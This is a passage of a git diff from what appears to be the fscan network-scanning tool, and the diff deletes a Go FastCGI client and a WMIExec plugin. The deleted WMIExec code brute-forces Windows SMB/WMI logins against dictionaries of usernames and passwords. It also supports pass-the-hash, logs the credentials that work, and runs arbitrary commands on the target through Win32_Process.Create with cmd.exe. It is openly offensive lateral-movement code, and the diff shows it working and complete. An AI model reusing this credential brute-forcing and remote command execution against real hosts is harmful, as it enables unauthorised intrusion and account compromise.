FCGI_ABORT_REQUEST - FCGI_END_REQUEST - FCGI_PARAMS - FCGI_STDIN - FCGI_STDOUT - FCGI_STDERR -) - -const ( - FCGI_RESPONDER uint8 = iota + 1 -) - -const ( - maxWrite = 6553500 // maximum record body - maxPad = 255 -) - -type header struct { - Version uint8 - Type uint8 - Id uint16 - ContentLength uint16 - PaddingLength uint8 - Reserved uint8 -} - -func (h *header) init(recType uint8, reqId uint16, contentLength int) { - h.Version = 1 - h.Type = recType - h.Id = reqId - h.ContentLength = uint16(contentLength) - h.PaddingLength = uint8(-contentLength & 7) -} - -type record struct { - h header - buf [maxWrite + maxPad]byte -} - -func (rec *record) read(r io.Reader) (err error) { - if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil { - return err - } - if rec.h.Version != 1 { - return errors.New("fcgi: invalid header version") - } - n := int(rec.h.ContentLength) + int(rec.h.PaddingLength) - if _, err = io.ReadFull(r, rec.buf[:n]); err != nil { - return err - } - return nil -} - -func (r *record) content() []byte { - return r.buf[:r.h.ContentLength] -} - -type FCGIClient struct { - mutex sync.Mutex - rwc io.ReadWriteCloser - h header - buf bytes.Buffer - keepAlive bool -} - -func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { - conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) - fcgi = &FCGIClient{ - rwc: conn, - keepAlive: false, - } - return -} - -func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) { - c.mutex.Lock() - defer c.mutex.Unlock() - c.buf.Reset() - c.h.init(recType, reqId, len(content)) - if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil { - return err - } - if _, err := c.buf.Write(content); err != nil { - return err - } - if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil { - return err - } - _, err = c.rwc.Write(c.buf.Bytes()) - return err -} - -func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error { - b := [8]byte{byte(role >> 8), byte(role), flags} - return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:]) -} - -func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error { - b := make([]byte, 8) - binary.BigEndian.PutUint32(b, uint32(appStatus)) - b[4] = protocolStatus - return c.writeRecord(FCGI_END_REQUEST, reqId, b) -} - -func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error { - w := newWriter(c, recType, reqId) - b := make([]byte, 8) - for k, v := range pairs { - n := encodeSize(b, uint32(len(k))) - n += encodeSize(b[n:], uint32(len(v))) - if _, err := w.Write(b[:n]); err != nil { - return err - } - if _, err := w.WriteString(k); err != nil { - return err - } - if _, err := w.WriteString(v); err != nil { - return err - } - } - w.Close() - return nil -} - -func readSize(s []byte) (uint32, int) { - if len(s) == 0 { - return 0, 0 - } - size, n := uint32(s[0]), 1 - if size&(1<<7) != 0 { - if len(s) < 4 { - return 0, 0 - } - n = 4 - size = binary.BigEndian.Uint32(s) - size &^= 1 << 31 - } - return size, n -} - -func readString(s []byte, size uint32) string { - if size > uint32(len(s)) { - return "" - } - return string(s[:size]) -} - -func encodeSize(b []byte, size uint32) int { - if size > 127 { - size |= 1 << 31 - binary.BigEndian.PutUint32(b, size) - return 4 - } - b[0] = byte(size) - return 1 -} - -// bufWriter encapsulates bufio.Writer but also closes the underlying stream when -// Closed. -type bufWriter struct { - closer io.Closer - *bufio.Writer -} - -func (w *bufWriter) Close() error { - if err := w.Writer.Flush(); err != nil { - w.closer.Close() - return err - } - return w.closer.Close() -} - -func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter { - s := &streamWriter{c: c, recType: recType, reqId: reqId} - w := bufio.NewWriterSize(s, maxWrite) - return &bufWriter{s, w} -} - -// streamWriter abstracts out the separation of a stream into discrete records. -// It only writes maxWrite bytes at a time. -type streamWriter struct { - c *FCGIClient - recType uint8 - reqId uint16 -} - -func (w *streamWriter) Write(p []byte) (int, error) { - nn := 0 - for len(p) > 0 { - n := len(p) - if n > maxWrite { - n = maxWrite - } - if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil { - return nn, err - } - nn += n - p = p[n:] - } - return nn, nil -} - -func (w *streamWriter) Close() error { - // send empty record to close the stream - return w.c.writeRecord(w.recType, w.reqId, nil) -} - -func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) { - - var reqId uint16 = 1 - defer c.rwc.Close() - - err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0) - if err != nil { - return - } - err = c.writePairs(FCGI_PARAMS, reqId, env) - if err != nil { - return - } - if len(reqStr) > 0 { - err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr)) - if err != nil { - return - } - } - - rec := &record{} - var err1 error - - // recive untill EOF or FCGI_END_REQUEST - for { - err1 = rec.read(c.rwc) - if err1 != nil { - if err1 != io.EOF { - err = err1 - } - break - } - switch { - case rec.h.Type == FCGI_STDOUT: - retout = append(retout, rec.content()...) - case rec.h.Type == FCGI_STDERR: - reterr = append(reterr, rec.content()...) - case rec.h.Type == FCGI_END_REQUEST: - fallthrough - default: - break - } - } - - return -} diff --git a/Plugins/WMIExec.go b/Plugins/WMIExec.go deleted file mode 100644 index fb166fc..0000000 --- a/Plugins/WMIExec.go +++ /dev/null @@ -1,185 +0,0 @@ -package Plugins - -import ( - "fmt" - "github.com/go-ole/go-ole" - "github.com/go-ole/go-ole/oleutil" - "github.com/shadow1ng/fscan/Common" - "os" - "strings" - "time" -) - -var ( - ClientHost string - flag bool -) - -func init() { - if flag { - return - } - clientHost, err := os.Hostname() - if err != nil { - fmt.Println(err) - } - ClientHost = clientHost - flag = true -} - -func WmiExec(info *Common.HostInfo) (tmperr error) { - if Common.DisableBrute { - return nil - } - - maxRetries := Common.MaxRetries - starttime := time.Now().Unix() - - // 遍历所有用户名密码组合 - for _, user := range Common.Userdict["smb"] { - for _, pass := range Common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - return fmt.Errorf("扫描超时") - } - - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 执行WMI连接 - done := make(chan struct { - success bool - err error - }) - - go func(user, pass string) { - success, err := Wmiexec(info, user, pass, Common.HashValue) - done <- struct { - success bool - err error - }{success, err} - }(user, pass) - - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success { - // 成功连接 - var successLog string - if Common.Domain != "" { - successLog = fmt.Sprintf("WmiExec %v:%v:%v\\%v ", - info.Host, info.Ports, Common.Domain, user) - } else { - successLog = fmt.Sprintf("WmiExec %v:%v:%v ", - info.Host, info.Ports, user) - } - - if Common.HashValue != "" { - successLog += "hash: " + Common.HashValue - } else { - successLog += pass - } - Common.LogSuccess(successLog) - return nil - } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") - } - - // 处理错误情况 - if err != nil { - errlog := fmt.Sprintf("WmiExec %v:%v %v %v %v", - info.Host, 445, user, pass, err) - errlog = strings.Replace(errlog, "\n", "", -1) - Common.LogError(errlog) - - // 检查是否需要重试 - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - return err - } - continue // 继续重试 - } - } - - break // 如果不需要重试,跳出重试循环 - } - - // 如果是32位hash值,只尝试一次密码 - if len(Common.HashValue) == 32 { - break - } - } - } - - return tmperr -} - -func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) { - target := fmt.Sprintf("%s:%v", info.Host, info.Ports) - return WMIExec(target, user, pass, hash, Common.Domain, Common.Command) -} - -func WMIExec(target, username, password, hash, domain, command string) (flag bool, err error) { - err = ole.CoInitialize(0) - if err != nil { - return false, err - } - defer ole.CoUninitialize() - - // 构建认证字符串 - var auth string - if domain != "" { - auth = fmt.Sprintf("%s\\%s:%s", domain, username, password) - } else { - auth = fmt.Sprintf("%s:%s", username, password) - } - - // 构建WMI连接字符串 - connectStr := fmt.Sprintf("winmgmts://%s@%s/root/cimv2", auth, target) - - unknown, err := oleutil.CreateObject("WbemScripting.SWbemLocator") - if err != nil { - return false, err - } - defer unknown.Release() - - wmi, err := unknown.QueryInterface(ole.IID_IDispatch) - if err != nil { - return false, err - } - defer wmi.Release() - - // 使用connectStr来建立连接 - service, err := oleutil.CallMethod(wmi, "ConnectServer", "", connectStr) - if err != nil { - return false, err - } - defer service.Clear() - - // 连接成功 - flag = true - - // 如果有命令则执行 - if command != "" { - command = "C:\\Windows\\system32\\cmd.exe /c " + command - - // 创建Win32_Process对象来执行命令 - process, err := oleutil.CallMethod(service.ToIDispatch(), "Get", "Win32_Process") - if err != nil { - return flag, err - } - defer process.Clear() - - // 执行命令 - _, err = oleutil.CallMethod(process.ToIDispatch(), "Create", command) - if err != nil { - return flag, err - } - } - - return flag, nil -}